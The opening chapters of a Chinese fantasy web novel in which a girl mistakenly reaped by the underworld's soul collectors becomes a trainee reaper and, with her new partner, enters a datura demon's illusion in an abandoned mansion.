《地府同事是神明》
1. 死得莫名其妙
地府没有天日,灰蒙蒙的光浸透每个角落。忘川河水浓黄黏稠,浮着幽幽冷焰。
冥界大殿上,阎王容予一只手撑着头,另一只手随意搭在椅子上,姿态慵懒。眼睛半睁着,长睫遮盖瞳孔,将视线中少女的身影分成一片片。
与他懒洋洋的态度不同,少女掩面痛哭,眼泪顺着睫毛向下坠落,在地面上砸出一个个浅的痕迹。
“你必须给我一个说法,我过生辰过的好好的,怎能被一颗石子绊死?我的阿爷阿娘好不容易将我养到及笄,我还未在他们跟前尽孝,怎能因为这样一个荒唐的理由没了性命?”
江知抽噎着开口,因为伤心,所以哪怕这几句话并不长,甚至在来的路上已经在心中默念了几遍,可说出口时还是断断续续。
好在音量不小,起码气势不错。
容予揉了揉额,眸光扫过江知,有些头疼。
“谢必安,说说吧,这是怎么回事?”
被唤作谢必安的男子衣着雪白,头上一顶高帽,草草地写着“一见生财”四个大字。狭长的凤眸此刻因为害怕微微眯起,举在胸前的双手也不停地打颤。
“回禀阎王,此女名叫江知,她寿数未尽,就被我和小黑勾了魂,生死簿之上她的姓名依然在,可魂魄却早在地府之中,如今阴间阳间都不是容身之处。”
听到这些话,江知遮住面庞的手放下,嫣红的胭脂在脸上糊成一团,昂贵的罗黛经过眼泪的冲刷在眼下推出条条黑印,比起谢必安这个真鬼,她此刻看上去才更像鬼。
江知知道自己被勾错了魂,可却是在刚刚才知道自己处于一个阳间不容,阴间不要的尴尬境地。
犹记得自己及笄之日那天,她换上了京城最时兴的衣裙、带着最华贵的珠翠、画着最精致的妆容娇悄悄地出门。可就在下一秒,感觉自己脚下一空,巨大的失重感袭来,整个人向前扑去,额头不偏不倚撞在一颗尖锐的石头上,顿时眼前一黑。
再睁开眼时,面前躺着头破血流的自己,以及一黑一白两个小鬼。
想想晕过去前的经历,不难猜出这两个小鬼的身份——黑无常范无咎和白无常谢必安。
江知低头,刚好能透过半透明的双手看见自己已经失去生命体征的身体。她本想叹口气,感慨自己红颜薄命、英雄早逝,可黑白无常的对话顺着风钻进她的耳朵。
“糟了糟了,勾错了勾错了,这个寿数还长,你勾她作甚?”范无咎捧着一本看上去颇具年代感的书,目光在这本书和江知的身体之间来回移动。
谢必安本就苍白的面色更是白上几分,看上去好似只能用惨白来形容,“我手抖了,现在怎么办,能不能给她塞回身体里面?“他手上拎着的哭丧棒骤然落地,可他却没有丝毫要捡的意思,眼神依旧死死盯着江知的身体。
“你糊涂了,已然离体之魂怎可回到身体里面,而且她的这具身体已然是死的不能再死了,就算强行塞回去也是天理不容的,指不定哪天天降个雷就把她劈死了。”范无咎看着手中的锁链,低着头思索了片刻,再抬起头时目光牢牢锁住了江知还在半空中飘荡的灵魂,“我们不如毁魂灭迹。”
黑白无常不愧是相伴多年的老搭档,范无咎的话音刚落,哭丧棒棒铃作响,江知感觉思维变得迟钝、缓慢,整个人好像生锈的齿轮,转一下便卡着疼,连呼吸都带着顿感。
棒铃响起的瞬间,范无咎手中的锁链冲出,向着江知的面庞飞去,隐隐能听到锁链划破空气的萧萧之声。
如果是全盛状态的江知,未尝避不开锁链,但现在处于哭丧棒棒铃之下,这让她脑中混乱不堪,四肢如同灌了铅一般沉重,面对向她袭来的锁链,她只能僵在原地,不能躲,也无法躲。
锁链距离江知越来越近,已然可以闻到锁链上那股浓烈的血腥气,心中莫名涌现出一股无力感。
活了十八载,因为黑白无常的疏忽落得一个魂飞魄散的下场。
死的何其冤枉,何其憋屈。
江知有些绝望地闭上眼,想象中撕裂魂魄的痛苦没有传来,但在鼻尖萦绕的血腥气依然久久不散。
她睁开眼,锁链停在空中,在距脸颊一寸的地方。
“这是什么情况?为什么锁链没有撕裂她?”谢必安看上去比江知还要意外,意外归意外,铃铛声未停,频率还加快了。
之前脑袋只是昏沉,现在感觉脑中像是有一根针,针尖不停戳着大脑,泪珠顺着脸颊滑落,那是疼哭的。
范无咎低低念了几句口诀,原本停下的锁链在空中摇摇晃晃,仿佛下一秒就会停止摇晃,直直冲过来。
脑中的疼痛如同浪潮般一阵阵袭来,每一次都比上一次更加难以忍受,锁链上的血腥味更是刺激着江知的神经。
她忍受不了,大脑的疼痛让自己失去了思考的能力,下意识挥手,想将空气中令人作呕的味道扇远。
在手触及锁链的瞬间,江知手上冒出点点黄色的荧光,光与锁链相碰,锁链落下,躺在她的手心上。
范无咎看着江知手心的锁链,那是锁鬼链,所有触及的鬼魂都会被锁链绑住,连挣扎的机会都没有,可现在锁链乖乖地躺在江知的手心,没有行动。
更奇怪的是,他发现自己无法召回锁链。
那被光晕包裹住的锁链明明就在范无咎眼前,再走几步甚至可以触摸到,但就是无法召回,甚至感应不到,像是彻底消失一般。
远处的谢必安看到这一幕,不由得疑惑:“你不是说要毁魂灭迹吗?现在这般是想到更好的办法了吗?其实我也不愿杀江大小姐,想来她在生日宴上魂飞魄散也是着实可怜……”
“蠢货,我不是不想杀她,而是锁魂链不听话了!”范无咎有些气急,出口打断。
谢必安一听,幸灾乐祸道:“早说了你那链子丢来丢去不靠谱,你看,今天不就收不回来了吧,还是我的法器好,坚实耐用最重要的是听话——“
最后两字特意被他拖长,范无咎安能听不出话中的嘲讽之意,本想呛声回去,可想到那还拽在江知手中的锁魂链,便忍住了。
罢了,正事要紧。
“等等,我们能不能商量一下,不一定非要我死吧?”江知看出黑白无常似是又要朝她出手,她忍不住开口,纵使机会渺茫也要为自己博得一线生机。
黑白无常几乎同时出声:“没得商量。”
范无咎闪身至谢必安身后,凝气至掌中,然后将聚满真气的手掌拍至谢必安的后背,股股真气流淌入身,谢必安只觉神清气爽,挥动哭丧棒时速度更胜,阵阵生风。
江知本想再说些什么,可铃铛声强势切断了她的思维,像是干涸的河水,无法流淌,无法行动。
不行,
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还不能放弃。
江知想到了手上那团莫名的光,虽然不知这光的来历,但这东西确确实实保护了她,或许,还可以利用一番?
她屏气凝神,聚灵于指尖之上,好在自己平日从未疏于符咒练习,即使在棒铃之下,脑袋犹如花瓶一般无用的情况下,还能凭借本能画出聚灵符。
聚灵符作用在那团光上,光斑开始慢慢扩散,从只是包裹住锁魂链的一小坨渐渐变大,逐渐让江知全身遍布点点荧光。
哭丧棒的棒铃未停,但那始终影响思绪的副作用消失了,细细品味,阵阵铃声时停时响、时慢时缓颇有韵味。
如此看来,谢必安就算不做勾魂这项差事也可以去当乐师。
随着棒铃副作用一齐消失的还有江知痛苦的神色,她一面拿着范无咎的锁魂链,一面抬眸,看向不远处石化般的二人,语气里不免有些嘲讽的意味:“二位,现在可以谈谈了吗?”
“你想谈什么?”此女神色淡然,眉头不似刚才一样蹙起,而是舒展开来,嘴角还噙着一抹若有似无的笑意。看样子,哭丧棒也如锁魂链一般失去了作用。
灭魂的方法确实不止一种,可除了用锁魂链击碎魂魄之外再没有一种可以绕过阎王。一旦阎王知道了,一定会查到底,到时自己错勾生魂之事怎还能瞒下去。
已经走到绝路了,不能变得更糟了,听听她要讲什么也无妨。
“既然你们处理不了我,为什么不交给能力更大的人呢,比如传说中的地府之主?”
即使江知看上去已经不受哭丧棒的影响了,但谢必安依旧孜孜不倦地挥动着,心中默默祈祷下一秒它能恢复作用。听了这番话,他冷笑出声:“你当我是傻子不成,把你送到阎王那,和直接去死地区别在哪里?“
范无咎站在一边,无声沉默着,无声赞同。
“区别可大了,虽然我自己也不清楚身上的光是什么,为什么可以免疫你们的法宝,但无可否认的是,这很罕见是吧?“江知的目光在黑白无常身上流转,每个表情变化都被她牢牢捕捉。
看见二人表情如常,谢必安的头还以微小的弧度晃动着,她才继续往下说。
“你说是生魂错勾的罪责大,还是发现了一个可以免疫你们法宝的灵魂的功劳大?“
“自是后者功劳大,现在人间地府运转正常,全靠我和小黑勾魂再将魂魄送入轮回,一旦越来越多的人像你一般可以免疫我的法宝,灵魂只能四处飘荡,我们不就再也勾不了魂,这可全乱套了!”
这么一想,谢必安豁然开朗,双手一挥,哭丧棒消失不见,接连不断的铃铛声随之停下。
“你们都有这么大一个功了,还怕勾错魂这样一个小差错发生吗?”
“我怎么没想到,不愧是京城首富之女,你把你老爹的精明遗传了个十成十!“话落,江知神色僵硬,谢必安才觉察出此话不太妥当,于是轻轻咳嗽几声,掩饰尴尬。
与已然放松下的谢必安不同,范无咎眉头还是皱着,嘴角向下抿起,俨然一脸怀疑:“你为什么要帮我们?刚才我和谢必安可是下了死手,但凡没有那坨古怪的光,你早就魂飞魄散了,我可不信你这么快就忘记了。”
“你干嘛提醒她!“谢必安有些嗔怪,可看向江知的目光中也不免带了些打量,”不过小黑说的也有道理,你到底有什么目的?”
2. 成为地府一员
“我的目的很简单,也很明确,就是活下去。看刚才的情况不难猜出,如果不开口提醒,你们杀不了我,只会把我丢在这里让我成为一个随时有可能被天雷劈死的孤魂野鬼。但如果去见阎王,或许他能帮助我重返人间。”
“你就不怕他弄死你吗?我们拿你没办法可不代表地府之主拿你没办法。”范无咎语气淡淡。
“没办法,总要冒点风险,天底下哪有没有危险的好事呢?”江知这样说,可是脸上却始终洋溢着自信的神采,接着甜甜一笑,“何况,我觉得我是一个有价值的灵魂,相信阎王大人一定不舍得杀我的。”
“你先等等,我和小黑商量一下。”说完,谢必安将范无咎拉远,用仅二人可听的声音小声交流着。过了好半晌,才又拉着范无咎回到江知跟前。
“那个……刚刚我们二人多有得罪,还好江大小姐不与我们计较,还为我们指点迷津,真是宰相肚里能撑船,我俩小鬼真是自愧不如啊。”
显然,商量的结果是听江知的话,带着她去见阎王,而现在这般应该是哄着自己是怕自己反悔。
谢必安笑得有些谄媚,语气里不自觉带上了刻意讨好的意味,身旁的范无咎依然是冷着一张脸,但似乎没有那么苦大仇深了。
“两位大人在地府当差,见惯了尔虞我诈、兄弟反目的戏码,小心些也不难理解。”江知笑着回应道,又和谢必安接着互相吹捧一番,氛围其乐融融的,很难想象这两人刚才差点就要闹出血案。
“那小人就带您去冥界了,其实我们地府和人间话本里一点都不一样。”
“有何区别啊?还望大人告知一二。”江知接过谢必安的话茬,默默打听起地府,还在人间时,她因跟着师傅常青山学习道法,对这些神神鬼鬼的东西有一定了解。
但人间的东西毕竟是凡人编撰的,和真实的地府有出入实属正常,不如趁着现在的机会,和白无常打听一二,对于将要去的、一个完全陌生的、和自己生活十八载的人世截然不同的地府,多些了解总没有什么坏处。
“这就说来话长了。”谢必安故作高深地说。
“那我们走慢点,您慢慢说。”
“行啊,那就先从孟婆说起,你们人间话本子里总写她是个年过古稀的老人,实则不然,她可是我们地府的第一美人,每日奈何桥都会排起长龙,就是为了欣赏孟婆芳容的;还有啊……”
听着这些从前不了解的东西,去地府的一路倒不显得无聊。到达目的地后,谢必安砸砸嘴,似是没说够;江知也砸砸嘴,似是没听够。
范无咎一开始还在用眼神暗示谢必安不要再说了,但他发现谢必安完全讲入了入迷,连一个眼神都不舍得施舍给自己,也没再管了。
自己这个搭档,实力不错,但话多这一缺点倒是千年如一。
*
殿内阴气森森,容予斜倚在黑檀木椅上,支着下巴,玄色衣袍松松垮垮,露出一截冷白的锁骨。
“这可不是你的风格,我以为发生这样的事你的第一选择是打散这个魂魄,不让我知道这件事呢。”容予看向白无常,似笑非笑地说。
白无常抖得更加厉害了,明明端坐在檀木椅上的男人在笑,可他却感觉一股莫名的压力,这让他喘不过气来。
谢必安一甩衣袍,跪在容予面前,整个身子成一个弓形,眼睛直勾勾地盯着地面,边抖边说道:“属下自知犯了大错,本该以死谢罪,但此女非同一般,属下必须亲手将此女带到您面前方能安心啊。”
“此女可以免疫我和白无常的法宝,我的锁鬼链到她面前便会失去控制,白无常哭丧棒的棒铃也不会对她造成影响。”跪在他一旁的范无咎开口说,与瑟缩成一团的谢必安不同,范无咎上半身直挺挺的,目光追随着容予。
“可以免疫你们的法宝?这可真是难得。”容予看上去终于打起精神,他将支着下巴的手抬起,随手一挥,带起一股浓黑的雾气,然后手腕一转,手心朝上,手心上凝集着一团小球一般的黑雾。
看颜色也知道不是什么好东西,江知心中警铃大作,总感觉这团浮在手心上的黑雾下一秒就要打到自己身上来。
这感觉是对的,等她回过神来时,黑雾已然袭来,越来越近了,近到她几乎可以听到雾中鬼魂呼喊的声音。
下意识伸手阻挡,帮助她抵挡黑白无常的光又出现了,这次光不再是如同暗夜里的萤火一般,而是骤然炸开一片炽白。这片白色不仅阻止了黑雾伤害江知,甚至渐渐吞噬了这抹黑色。
不消片刻,炽白与浓黑一齐消失,无半点踪迹,刚刚发生的一切好似梦一般。
“呀,居然是真的。”容予不再半躺在木椅之上,他直起身子,神色正经,此刻看上去才颇有地府之主的味道。“你刚刚说你想回到人间是吗?”
江知边抹泪边点头,本就花得不行的妆面被她用手胡乱一抹,更加糟糕了。黑色的螺黛染得满脸都是,与嫣红的胭脂交错。
“这也不是很难,不过你可要吃点苦了。”
“我不怕吃苦。”
“那很不错了。”容予停顿了一下,看江知面色坚定才继续说,“无常专职负责勾魂,帮助凡人转生投胎。你身上有学过道法的痕迹,那你一定知道世上有人、仙、鬼、妖四类。除了仙和鬼之外,人与妖都要转世投胎,你见过的黑白无常是专职勾凡人之魂。”
“所以我要勾妖之魂魄是吗?”
容予有些惊喜,脸上的笑容看上去真实了一些,“不错,很聪明。地府中勾妖魂的叫走无常,走字的意思就是要在人界和冥界来回穿梭。”
“这听起来也没有很难嘛,怎算得上吃苦?”被黑白无常勾魂,几乎是不能反抗的,在自己反应过来时魂魄就离体了,成为一点攻击力都没有的一缕幽魂。
“勾妖魂和勾凡人的魂可完全不是一回事,凡人是看不到无常的,不知不觉就会变成无害的半透明魂魄;妖不仅看得到无常,甚至可以攻击无常。也就是说,当无常遇到了大妖,是会死的。”
容予说完,又恢复了刚开始那副懒懒的神态。盯着江知的目光没有移动,鸦羽般的长睫投下的影几乎遮盖了眼睛,让他的神色晦暗不明。
“现在你阳间不容、阴间不要,还能免疫地府法力,是走无常的最佳人选。但我作为地府之主,向来公正,即使再想让你当走无常,也不会瞒着你还有一个更轻松、更简单的选择。”
“那就是去投胎。出于黑白无常错勾你魂魄的补偿,下辈子你一定是大富大贵之命,不会受一点苦。”容予瞥了江知一眼,“你选哪一个呢?”
本以为听了这番话的江知会害怕、会犹豫,甚至会打起名为逃避的退堂鼓,可她没有思考、没有纠结就做出了回答:“我要重返人间。”
诚然,去投胎是一个很好的选择,就算不谈阎王许诺会有一个大富大贵的命格,起码没有魂飞魄散、再无来世的风险。
可选择去投胎的话,那她还在人间的父母该怎么办?他们养育自己十八载,好不容易盼到及笄,等来的却是白发人送黑发人。他们一向宠溺自己,如今骤然离世,阿爷阿娘怕是肝肠寸断。
想到这里,江知本止住的泪珠又控制不住地往外冒。自己
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享受美好生活,让父母日日处在失女的痛苦中,她绝对做不到。
吃点苦算什么,魂飞魄散的风险又算什么?为了重返人间,和阿爷阿娘团聚,她愿意。
“那你便是地府里新任的走无常了。”容予说完,伸出手在空中虚虚点了江知的额头。
一滴血红的、米粒般大小的圆珠从她的额头冒出,随着容予的手势,珠子飞出,隐入大殿上悬挂的大小不一、颜色不一的珠串中。
做完这一切,笑意从他脸上消失,整张脸灰蒙蒙地泛着冷光,语气也和结冰一般生硬:“我还挺遗憾你没有选择投胎的,我还挺想尝尝免疫地府法力的灵魂是什么味道。”
果然有猫腻,还好自己因为不舍得父母没有掉入这个看似美好的陷阱。
手臂传来一阵瘙痒,江知将长袖拂上去,小臂上竟缓缓浮现一行金色的小字,字迹歪歪扭扭,灼得皮肤滚烫,手一摸,这几个字还是突起的,像是从皮肉里长出来一般。
字迹十分潦草,花了半天江知才辨认出写了什么:京城十里外方宅,曼陀罗花妖。
看来这就是自己第一个要勾的妖魂了。也在京城,说不定还能顺便看一下阿爷阿娘。
一想到阿爷阿娘,江知嘴角不自觉勾起,可一看到自己手臂鬼画符一般突起的几个好似肿瘤一般的大字,刚兴起的一点高兴又消失了。
每个女孩子都是爱美的,她自然也不例外。尚在人世时,衣裳要穿料子、剪裁一等一好的;首饰要戴最贵的;妆容要画时下最流行的。
现在小臂上出现了这么个丑东西,并且不排除随着自己任务越接越多,这肉瘤一般的字也会越来越多,最终说不定会蔓延得全身都是。
抗议,必须抗议!
“这太丑了,能不能换个通知我的方式。”
“麻烦。”容予嘴上嫌弃,但又将那颗血红珠子从珠串中召唤出来,嘴唇上下碰撞几下,那几个肉瘤就消失了,小臂的皮肤光洁如初。
然后他抬手,掌心咻地凝出一个漆黑如墨的四方物体,紧接着这个四四方方的东西被容予抛向江知。
“接下来的事交给你们了,我累了。”留下对黑白无常说的这句话后,容予身形骤然消散,化作一缕黑雾,融入冥界的幽幽夜色。
江知打量起这个长得和盒子差不多,但却比盒子扁得多,还不能打开的东西。用手触摸,金色的暗纹浮现在空中。“这是什么东西?”
“这叫玉音,用来联络的东西。刚刚出现的东西是字符,特定的字符组合可以表示特定的信息。每个玉音都有一串不同的编号,输入编号,就可以用字符来传消息了。”
谢必安从江知手中接过玉音,输入自己和范无咎的玉音编号。“对了,它还可以记录几个常联系的玉音,我先帮你记下我和小黑的,有问题可以找我们啊。”
等玉音回到江知手上时,再点开,除了空中浮现的金色字符外,玉音表面还出现几行字。
第一行是舌长三尺腿长八尺。
江知有些懵地抬起头,只见谢必安十分自然地点头:“正是在下。”
好吧,也没有特别意外。
第二行是冷面差哥,完全没想到范无咎会取这样一个名字,不过挺贴切的。
一旁的谢必安冲江知挤眉弄眼道:“我给小黑取得,是不是很适合他?”
“是的。”原来是白无常取的,确实这个名字更符合白无常的风格一点。
江知的目光向下扫去,在冷面差哥之下还有第三行字,比起上面两个,第三行字显然正常不少,看上去像一个人名:谢玟与。
3. 正式开启捉妖任务
“这是?”江知看着这个十分陌生的名字,不免疑惑。
“我只输入了我和小黑的编号,这个人是之前就有的。我觉得应该是阎王大人给你分配的搭档,我们无常勾魂都是两两一组,就像我和小黑这般。”谢必安把头凑过来,“不过现在地府都这么人性化了吗?我记得我当无常那会,还要自己找搭档。”
提起以前,谢必安来了兴致,“当时我可求了小黑一天一夜他才答应我,要那会是分配的话,我就不用求他了,要知道说好话还是挺累的。”才说完,他又立刻摇了摇头,“不对不对,要是分配的话,万一我和小黑没有分到一组怎么办?”
“我觉得那个被分配过来的人可能第二天就受不了你而痛下杀手。”范无咎在一旁冷冷开口。
“胡说胡说。”谢必安白了他一眼,“不过谢玟与这个名字我倒从没听说过,小黑你认识他吗?”
范无咎摇摇头,“他姓谢又不是姓范,我怎么会认识?说不定是你的某个徒子徒孙?”
玉音震动了一下,那个名为谢玟与的发来一条消息:明日辰时,方宅外等你。
江知本想回一下这个面都没见过的搭档以示尊重,可看到空中那些浮动的金色暗纹,有点摸不着头脑,她看向谢必安,问道:“白无常大人,我要怎么和他一样发字啊?”
她的音色甜、声音软,一个甜甜的“白无常大人”把谢必安夸得有些飘飘然。
“这个不难,我一讲你就明白了。”接着他大致给江知说明了一下字符组合的规律,江知似懂非懂地点点头,然后自己低下头捣鼓了一会玉音。
“我好像明白了。”江知把玉音递给谢必安看,只见上面新出现了一行新的字:好的。很显然,这是她发给谢玟与的。
“孺子可教。”
“这东西好方便,要是人间也有就好了。”江知脸上挂着笑,将玉音翻来覆去地看。
“它是阎王发明的,靠地府法力运转,凡人用它只会沾染地府的煞气,要是这玩意在人间流通,生死簿上英年早逝的人要多出这么大一摞吧。”谢必安双手伸开,比出一个长长的距离。看到江知面上浮出一丝担心,又开口安慰她,“不过你已经是无常了,不会受煞气影响的。”
“对了大人,这上面只写了方宅在京城十里外,要怎么知道它的具体位置呢。”
“你把手放在玉音上,等一会就行了。”
江知依他所言,伸出手覆盖了玉音,等了半晌才揭开。玉音上出现了一张地图,上面有两个闪烁的红点,一个是自己现在的位置,另一个应该就是方宅了。
“差不多都说完了,还有什么问题吗?”
“有,而且很重要。”江知神色沉重。
看到如此认真的江知,谢必安下意识认为自己忽略了什么很重要的东西,没想到江知吐出一个令他瞠目结舌的问题:“我今日睡哪啊?”
“你都成鬼了怎还想着睡?”虽是这么说,谢必安还是掏出江知曾见过的那个颇具有年代感的小册子,从前翻到后又从后翻到前,江知都怕那本古老的册子下一秒就会因为谢必安大力的翻阅而散架。
“我不是鬼,是魂魄。鬼是有怨气要作祟的,我这一生虽然短命,但也算顺风顺水,不会有怨气的。”江知撇撇嘴,不高兴地反驳。
“有什么区别吗,魂魄不也是不用睡眠。”谢必安又把生死簿翻了一遍再三确认了上面没有江知的名字才无奈说道:“按理来说无常都会分配到住处,不过我在生死簿上无常那一栏上没找到你的名字。应该是阎王大人只给了你见习无常的身份,见习无常是不会分配住处的,在外面飘荡一晚上然后明日一早去方宅吧。”
说完抬腿就走,将江知幽怨的眼神甩至身后。
范无咎倒是没有和谢必安一同离去,他冷着脸解下腰间的一枚玉佩:“勾魂之事我很抱歉,这是补偿,它可探鬼物。”说完就跟上了前面的谢必安,没再施舍一个眼神给江知。
冥界暗无天日,黑色房屋沿街而立,随处可见的白纸灯笼里跳动着青色火苗,无数影子无声行走。突然一道甜美的女声打破了这份安静。
“有人能收留我一晚吗?我不想再流浪街头。”
“鬼也可以收留的,我这人不挑!”
无人也无鬼回应。
*
第二日江知早早就根据地图到方宅,却发现那里已然有一个颀长的身影。
那道身影听到身后的动静,转过身来,是一位少年。
少年的五官极其俊俏,眉眼深邃,眼睛又黑又亮,嘴角噙着一抹笑意,看上去颇有些桀骜不驯的意味。
这地府分配的同事还挺帅的,看着就养眼,要是和他一起捉妖,好像也挺不错的。
“你怎么来这么早?”江知已经提前了半个时辰来,可看谢玟与这副模样显然是等了一段时间,有些意外地问。
谢玟与大半个身子倚在门框上,瞥了她一眼:“习惯了。”
江知“哦哦”两声表示自己明白了,然后打量起面前的方宅。
映入眼帘的是一座已被荒废已久的古宅,门口杂草丛生、满目凋零。门口的牌匾早已不翼而飞,剩下的漆红木门在岁月的腐蚀下也变得不堪入目,只要碰一下就会“嘎吱嘎吱”作响。
她到底也只是一个刚刚及笄的少女,看到这一荒凉的场景,还是不免有些害怕。江知在门口踌躇了一会,默默为自己打气一番才推开这扇要掉不掉的木门。
这扇如同风中残烛般的木门终是不堪重负地倒了下去,发出“咚”的一声,大股灰黄的尘雾瞬间弥漫开来。
江知生前就爱干净,自己的房间仆从更是早晚各打扫一次,可以说从未见过像此刻一般漫天尘土的场景,就算用袖子捂住口鼻也不免咳嗽出声。
谢玟与见江知被灰尘呛得直咳嗽,有些不忍。于是从怀中取出一张黄符,低声念咒后抛向空中。符纸无火自燃,灰烬落地之后,院中的尘土随之消失无踪。
“净尘符?厉害啊!”江知惊叹。
“你认识?”谢玟与嘴角微扬。
江知甩了一下刘海,洋洋得意:“在下不才,略通一些道法。”
“那我是不是该夸夸你?”
“这倒不必。”
见她不再咳嗽,谢玟与冲方宅门口扬扬下巴:“那走吧。”
“好。”
二人抬脚迈进了古宅的大门,与门外的一片荒芜不同,宅中是一大片一大片的红。
漫天的红色并没有驱散宅中的阴森,反而增添了几分诡异的味道,空气中布满了一股甜腻的花香。
“是曼陀罗。”谢玟与抬手捂住鼻子,避免吸入花香,又想到跟在自己背后的江知,开口提醒,“别闻,小心有毒。”
江知早已
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在谢玟与开口提醒前捂住口鼻,只留一双黑白分明的眼睛漏在外面。
二人谨慎地向前走,这里太过奇怪,须得万分小心。
意外就在这时发生了,几根巨大的藤蔓袭来,直直向两人的心口刺去。
江知反应很快,在藤蔓距离自己很远时就从随身的荷包里取出几枚铜钱,抛出。谢玟与的桃木剑裹挟着几张黄符向藤曼砍去,但并没砍断,只是让它无法向前。
江知怀中范无咎送来的那块可以探测鬼的玉佩突然变得滚烫起来,从进入方宅就开始闻到的那股甜腻的花香就在此时分外明显,直接刺激着她的神经。
她感觉自己好像又回到了被勾魂的那天,脑中混沌一片仿佛自己又身处于哭丧棒的棒铃之下。看向谢玟与,朦胧中发现他的身形也不稳,摇摇晃晃的。
“糟了,我扔铜钱的时候忘记屏住呼吸了,谢玟与你怎么样?”
“不太好。“谢玟与咬牙切齿道,他说完用力甩甩头,想提起精神,当然这一点用都没有,最终还是两眼一闭,晕了过去。
江知想叫醒昏过去的谢玟与,可刚向前一步,脑中一阵剧痛袭来,倒在了谢玟与旁边。
再睁眼时映入眼帘的还是那一座古宅,但不同的是,这座古宅没有被岁月侵染,楠木撑起高厅阔堂,椒图盘踞在房梁之上,紫檀架上镌刻的玉石生辉,阳光透过窗格,在地上洒下金色光辉。
这看上去像是以前的方宅,想到自己晕过去,她很快意识到自己陷入幻境了。
怀里那块玉佩滚烫,她被烫的有些受不了,拿出来用手帕包了包,再塞到衣襟里。
幻境里这玉佩估计一直这么烫,自己一时半会也出不去,要是一直让它紧挨着皮肤,那块肉不得被烫熟了!
不行不行,等出幻境再拿出来吧。
“谢玟与?”她轻声呼唤,回应自己的只有穿堂而过的阴风,看来两人被刻意分开了。
破除幻境只能靠自己了。
这座宅子里的妖到底在想什么?为什么不在自己晕倒的时候就直接动手,而是把自己丢到幻境里面?把自己和谢玟与分开又是为了什么,逐个击破吗?
不清楚,什么都不清楚。刚刚踏入方宅,就陷入这个古怪的幻境,现下只能先破除幻境再考虑其他。
江知低头检查了身上的东西,发现和自己进入幻境前没什么区别,一个不少。除了自己的双手,几乎透明到快要消散。
自从阎王给她实习无常的身份后,她的身体已然不再是灵体,而是像生前一般拥有实体,骤然变回灵体颇有些不适应。
她试探性地触碰院中的东西,手直接穿了过去。看来在这个幻境里,她连最基本的触碰都做不到。
宅中在幻境里的这个时间点并没有大片大片的曼陀罗花,只是零星几朵。一位美妇人站在其中一朵的旁边。
这寥寥无几的几株花也长得不太好,尤其是美妇人身旁的那朵,花瓣有些蔫,叶片枯黄得打着卷,这都透露一个不争的事实——这几朵花活不长了。
美妇人身着深蓝的长袍,头上点点珠翠,金线织成的暗纹在阳光下闪着光。
与她衣着华丽不同,妇人面色苍白,眼下乌青一片。这样的面色,按理来说嘴唇应该也是白纸一般,但唇却是如同血液般鲜红,在这样一张没有生气的脸上骤然出现这样艳丽的颜色,实在是太过反常。
4. 第一层幻境
幻境里的江知虽是灵体形态,但她并不能确定幻境里的人看不见自己,保险起见还是将自己的身影隐藏在距离花丛不远的石头后。
美妇人纤长的手指慢慢拂过曼陀罗,指尖上鲜红的蔻丹和萎靡不振的花瓣形成了鲜明对比,颇有些可怜。
“到底怎么样才能阻止你们枯萎?只有你们盛开,我才能挽回定远的心。”她喃喃道,眼神一刻不曾离开那些花。
就在这时,跑来一位女子。衣着朴素,是最常见的粗布衣衫,梳着双髻,只用了几朵绒花装饰。眼里噙着一泡泪,脸上还有一个巴掌印,红彤彤的。
这应该是方府里的丫鬟,和江知自己府中侍女的打扮差不了多少。
“夫人,打听到了,老爷今日和姚姨娘去郊外赏花了,今晚应该不会回来。”
依据丫鬟所言,江知确认了面前这个美妇人的身份——这个宅子的女主人。
“你没有告诉老爷今日是什么日子吗?”方夫人偏过脸,怒目圆睁。
丫鬟眼中的那泡泪落下,结结巴巴地说:“奴婢一开始去书房里寻老爷,不料扑了个空,想想就知道又被那个妖精哄到自己房里了。奴婢想到今日是夫人的生辰,怎么说老爷也要陪着您的,就去姚姨娘的房里找人。”
“姚姨娘院子里的人都一口咬定了今日没见过老爷,让奴婢赶紧离开,别打搅了姨娘休息。可奴婢分明听到院子里传来老爷的声音,奴婢就想闯进去,兴许老爷知道今日是什么日子就会跟着奴婢走,刚踏入一只脚,她那几个跋扈的手下就打奴婢。”丫鬟越说越委屈。
“她们不止打了你吧,一定还说了什么吧。”
“没……没有。”
“小桃,连你也要骗我吗?”方夫人脸上的愤怒消失了,嘴角抿起,看上去有些凄凉。
小桃见她情绪还算稳定再加上刚刚那句话实在是惹人心疼,颤颤巍巍地开口:“她们说您已经人老珠黄了,哪比得上年轻貌美的姨娘,以后还是不要自讨没趣了。”
“可笑,真是太可笑了。我为他方定远付出了这么多,落得被几个卑贱之人嘲笑的下场。”方夫人低低笑了起来,为这小院更添几分哀怨。
小桃看着方夫人,心里说不出的难受。
她是方夫人的陪嫁丫鬟,从小便和方夫人一起长大。所以,她见过那个会将所有银钱都省下给夫人买首饰的老爷;见过那个为了陪夫人不愿去京城赴任,甘愿当一个九品芝麻官的老爷;见过那个会因娶到夫人在花烛夜悄悄抹泪的老爷。
往事如同流水一般流过,那个对夫人一往情深的老爷是什么时候开始变得呢?好像就是从他遇到姚姨娘开始的。
姚姨娘原名姚梦,是方夫人在街上随手买下的。那时,姚梦穿着破旧的衣裙,胸前挂着一个“卖身葬父”的牌子。
夫人怜她命苦又有孝心,又正是花一般的年纪,没安排她去做洒扫的粗活,而是当了自己的贴身女使。
这就是噩梦的开始,近身伺候,伺候的还是和老爷感情那么好的夫人,免不了和老爷有接触。一来二去,两人就这么好上了。
奸情告破的那一晚,方夫人房中的烛火燃了一整夜,她就这么看着跳动的烛火一个劲地饮酒。
苦酒,一杯一杯入喉,辛辣的味道充斥了整个口腔,一滴珠泪挂在眼角,不知是被酒辣得还是因为伤心。或许是喝得太快,饮酒之人被呛得直咳嗽,可她的动作没有停滞,依旧不停地喝。
“小桃,你说人是不是都会变?”方夫人虽是和丫鬟说话,眼睛却死死盯着烛火。
朦朦胧胧的火光中,她好像又看见那个曾经的少年,他拿着刚从枝头上折下的、带着露珠的海棠,羞涩地递给自己的心上人。
她有些恍惚,缓缓向火光伸出手,就在要接过花枝的那一刹那,小桃将她的手拽回来。
“夫人,您别做傻事啊!老爷只是暂时被姚姨娘迷了心,等他醒过神来,一定会想起您的好!”
“希望如此吧。”又是一杯苦酒入喉,眼角的珠泪顺着脸颊滑下,滴入酒杯之中,泛起一阵涟漪。
酒,是苦的;泪,也是苦的。
那个鲜红的巴掌印在脸上,在泪水的冲刷下显得更加可怖,方夫人爱怜地摸了摸。
她的手冰冷如同一块寒冰,刺骨的寒意袭来,中和了脸上那股热辣之感,也打断了小桃的回忆。
